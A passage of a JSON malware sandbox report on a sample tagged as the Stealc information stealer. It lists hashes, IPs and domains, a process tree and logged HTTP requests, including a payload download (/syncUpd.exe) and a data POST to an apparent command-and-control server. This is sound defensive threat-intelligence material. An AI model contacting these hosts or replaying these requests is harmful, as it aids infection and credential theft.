Stealc"]}},"File:eb8daa3bbd914c5356559929d7fd7e1132c9b0f7196fc12c779256bd4412c71d":{"type":"File","value":"eb8daa3bbd914c5356559929d7fd7e1132c9b0f7196fc12c779256bd4412c71d"},"File:fb6a0072377325b5da0d1da236d9da2610608e9ab74318e15540cc7aca75f837":{"type":"File","value":"fb6a0072377325b5da0d1da236d9da2610608e9ab74318e15540cc7aca75f837"},"Ip:104.21.76.57":{"type":"Ip","value":"104.21.76.57"},"Ip:104.237.62.212":{"type":"Ip","value":"104.237.62.212"},"Ip:104.26.13.205":{"type":"Ip","value":"104.26.13.205"},"Ip:142.250.217.227":{"type":"Ip","value":"142.250.217.227"},"Ip:172.67.188.178":{"type":"Ip","value":"172.67.188.178"},"Ip:185.172.128.53":{"type":"Ip","value":"185.172.128.53"},"Ip:185.172.128.79":{"type":"Ip","value":"185.172.128.79"},"Ip:5.42.64.35":{"type":"Ip","value":"5.42.64.35"},"Ip:91.92.255.226":{"type":"Ip","value":"91.92.255.226"},"Threat:01ad3ab57af3ed428df780da504fbbe2ffc659a877067db16410c43c3aad385d":{"type":"Threat","value":"Stealc","verdict":{"verdict":"malicious","verdict_source":"indicator database"}},"Url:/3886d2276f6914c4.php":{"type":"Url","value":"/3886d2276f6914c4.php"},"Url:/?format=dfg":{"type":"Url","value":"/?format=dfg"},"Url:/r/r4.crl":{"type":"Url","value":"/r/r4.crl"},"Url:/syncUpd.exe":{"type":"Url","value":"/syncUpd.exe"},"Url:/we1/4y3jdVkomeg.crl":{"type":"Url","value":"/we1/4y3jdVkomeg.crl"}},"chains":[{"id":"1548647644007242521","root":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","edges":[],"verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["File reported as packed by ClamAV antivirus","confirmed malicious file","confirmed relationship with a Threat Stealc"]}},{"id":"1548647637533298690","root":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","edges":[{"edge_kind":"in_crowdstrike_knowledge_database","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Threat:01ad3ab57af3ed428df780da504fbbe2ffc659a877067db16410c43c3aad385d"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"sandbox_network","root":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","edges":[{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:104.26.13.205"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:91.92.255.226"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:185.172.128.53"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:5.42.64.35"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:172.67.188.178"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:142.250.217.227"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:104.237.62.212"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:185.172.128.79"},{"edge_kind":"contacted_ip","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Ip:104.21.76.57"},{"edge_kind":"contacted_domain","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Domain:api.ipify.org"},{"edge_kind":"resolves_to","from_key":"Domain:api.ipify.org","to_key":"Ip:104.26.13.205"},{"edge_kind":"contacted_domain","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Domain:c.pki.goog"},{"edge_kind":"resolves_to","from_key":"Domain:c.pki.goog","to_key":"Ip:142.250.217.227"},{"edge_kind":"contacted_domain","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Domain:iplogger.com"},{"edge_kind":"resolves_to","from_key":"Domain:iplogger.com","to_key":"Ip:172.67.188.178"},{"edge_kind":"contacted_url","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Url:/?format=dfg"},{"edge_kind":"contacted_url","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Url:/r/r4.crl"},{"edge_kind":"contacted_url","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Url:/we1/4y3jdVkomeg.crl"},{"edge_kind":"contacted_url","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Url:/syncUpd.exe"},{"edge_kind":"contacted_url","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"Url:/3886d2276f6914c4.php"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","edges":[{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:54d3d2ab4783fc2efa04573800bd422e34cb1fb8a90c56b3e27b94ff007d7a5a"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:eb8daa3bbd914c5356559929d7fd7e1132c9b0f7196fc12c779256bd4412c71d"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:c3881f5305c8dbd3bd81f01994ed179e3d0c2b3c963a9a509e236179d7a3308e"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:fb6a0072377325b5da0d1da236d9da2610608e9ab74318e15540cc7aca75f837"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:d380df875713988755cadcb1718c16d66da4d2a6bea4fe45294c392e83005118"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:bf60bbc4c462ceddf8f2a757275522079d1ed815f04e04118a04effae90e282d"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:5a960d531a74d48ad211214d5a30d93b30355ece90083c198db5fa130ad0deb1"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:5a960d531a74d48ad211214d5a30d93b30355ece90083c198db5fa130ad0deb1"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:5d4d4593d104c27ca0c7af8f2157aa815ca8b1d99804843c18b6a50592109686"},{"edge_kind":"extracted","from_key":"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","to_key":"File:8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":72,"spawned_processes_count":72,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":20,"imported_dlls_count":228,"dropped_files_count":0,"extracted_files_count":15,"files_written_count":38,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":9,"dns_resolutions_count":3,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["commodity","rat","loader","remcos","credentialharvesting","amadeyloader","criminal","informationstealer","stealc","downloader","evasive","ransomware","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"6aa6807da9614284a002c7be","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"IL:Trojan.ClipBanker","contacted_countries":["BGR","RUS","USA"],"submit_name":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","analysis_start_time":"2026-09-13T10:52:47+00:00","indicators_count":{"informative":284,"suspicious":59,"malicious":9},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"659e1c6d5ec466032f0e63fe","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"IL:Trojan.MSILZilla","contacted_countries":["BGR","RUS","USA"],"submit_name":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe","analysis_start_time":"2024-01-10T04:26:21+00:00","indicators_count":{"informative":219,"suspicious":64,"malicious":16},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.26.13.205","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"address":"91.92.255.226","port":80,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"address":"185.172.128.53","port":80,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"address":"5.42.64.35","port":80,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"address":"172.67.188.178","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"address":"142.250.217.227","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"address":"104.237.62.212","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"address":"185.172.128.79","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"address":"104.21.76.57","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"dns_resolutions":[{"domain":"api.ipify.org","address":"104.26.13.205","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"domain":"c.pki.goog","address":"142.250.217.227","ttl":253,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"domain":"iplogger.com","address":"172.67.188.178","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"http_requests":[{"host":"api.ipify.org","host_ip":"104.26.13.205:80","url":"/?format=dfg","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /?format=dfg HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: api.ipify.org\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"host":"c.pki.goog","host_ip":"142.250.217.227:80","url":"/r/r4.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /r/r4.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: c.pki.goog","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"host":"c.pki.goog","host_ip":"142.250.217.227:80","url":"/we1/4y3jdVkomeg.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /we1/4y3jdVkomeg.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: c.pki.goog","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"host":"185.172.128.53","host_ip":"185.172.128.53:80","url":"/syncUpd.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /syncUpd.exe HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 185.172.128.53\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/3886d2276f6914c4.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /3886d2276f6914c4.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE\nHost: 185.172.128.79\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}],"processes":[{"pid":6044,"ppid":0,"name":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe","command_line":"","sha256":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","normalized_path":"C:\\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe","uid":"00000000-00006044","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1504,"ppid":6044,"name":"InstallSetup9.exe","command_line":"","sha256":"eb8daa3bbd914c5356559929d7fd7e1132c9b0f7196fc12c779256bd4412c71d","normalized_path":"%TEMP%\\InstallSetup9.exe","parent_uid":"00000000-00006044","uid":"00000000-00001504"},{"pid":1744,"ppid":1504,"name":"BroomSetup.exe","command_line":"","sha256":"ff3025f9cf19323c5972d14f00f01296d6d7a71547eca7e4016bfd0e1f27b504","normalized_path":"%TEMP%\\BroomSetup.exe","parent_uid":"00000000-00001504","uid":"00000000-00001744"},{"pid":5288,"ppid":1504,"name":"nsu8C47.tmp","command_line":"","sha256":"5a960d531a74d48ad211214d5a30d93b30355ece90083c198db5fa130ad0deb1","normalized_path":"%TEMP%\\nsu8C47.tmp","parent_uid":"00000000-00001504","uid":"00000000-00005288"},{"pid":4656,"ppid":6044,"name":"288c47bbc1871b439df19ff4df68f076.exe","command_line":"","sha256":"54d3d2ab4783fc2efa04573800bd422e34cb1fb8a90c56b3e27b94ff007d7a5a","normalized_path":"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe","parent_uid":"00000000-00006044","uid":"00000000-00004656"},{"pid":7928,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 448","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00007928"},{"pid":8048,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 452","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00008048"},{"pid":4056,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 464","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00004056"},{"pid":2116,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 572","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00002116"},{"pid":7256,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 668","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00007256"},{"pid":7352,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 676","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00007352"},{"pid":6224,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 696","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00006224"},{"pid":4912,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 704","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00004912"},{"pid":4104,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 724","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00004104"},{"pid":244,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 756","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00000244"},{"pid":5300,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 744","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00005300"},{"pid":6952,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 784","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00006952"},{"pid":5336,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 896","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00005336"},{"pid":2760,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 896","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00002760"},{"pid":2752,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 852","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00002752"},{"pid":2816,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 816","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00002816"},{"pid":7160,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 820","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00007160"},{"pid":6848,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 820","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00006848"},{"pid":6444,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 884","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00006444"},{"pid":5420,"ppid":4656,"name":"WerFault.exe","command_line":"-u -p 4656 -s 816","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004656","uid":"00000000-00005420"},{"pid":7052,"ppid":4656,"name":"powershell.exe","command_line":"powershell -nologo -noprofile","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004656","uid":"00000000-00007052"},{"pid":4204,"ppid":4656,"name":"288c47bbc1871b439df19ff4df68f076.exe","command_line":"","sha256":"54d3d2ab4783fc2efa04573800bd422e34cb1fb8a90c56b3e27b94ff007d7a5a","normalized_path":"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe","parent_uid":"00000000-00004656","uid":"00000000-00004204"},{"pid":5728,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 396","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00005728"},{"pid":8036,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 400","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00008036"},{"pid":6420,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 412","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00006420"},{"pid":3880,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 588","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00003880"},{"pid":3956,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 632","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00003956"},{"pid":6388,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 648","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00006388"},{"pid":4808,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 672","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00004808"},{"pid":2868,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 680","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00002868"},{"pid":2636,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 692","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00002636"},{"pid":7220,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 708","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00007220"},{"pid":7252,"ppid":4204,"name":"powershell.exe","command_line":"powershell -nologo -noprofile","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004204","uid":"00000000-00007252"},{"pid":428,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 776","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00000428"},{"pid":5860,"ppid":4204,"name":"WerFault.exe","command_line":"-u -p 4204 -s 776","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004204","uid":"00000000-00005860"},{"pid":6288,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 452 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006288","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5932,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 488 -p 4656 -ip 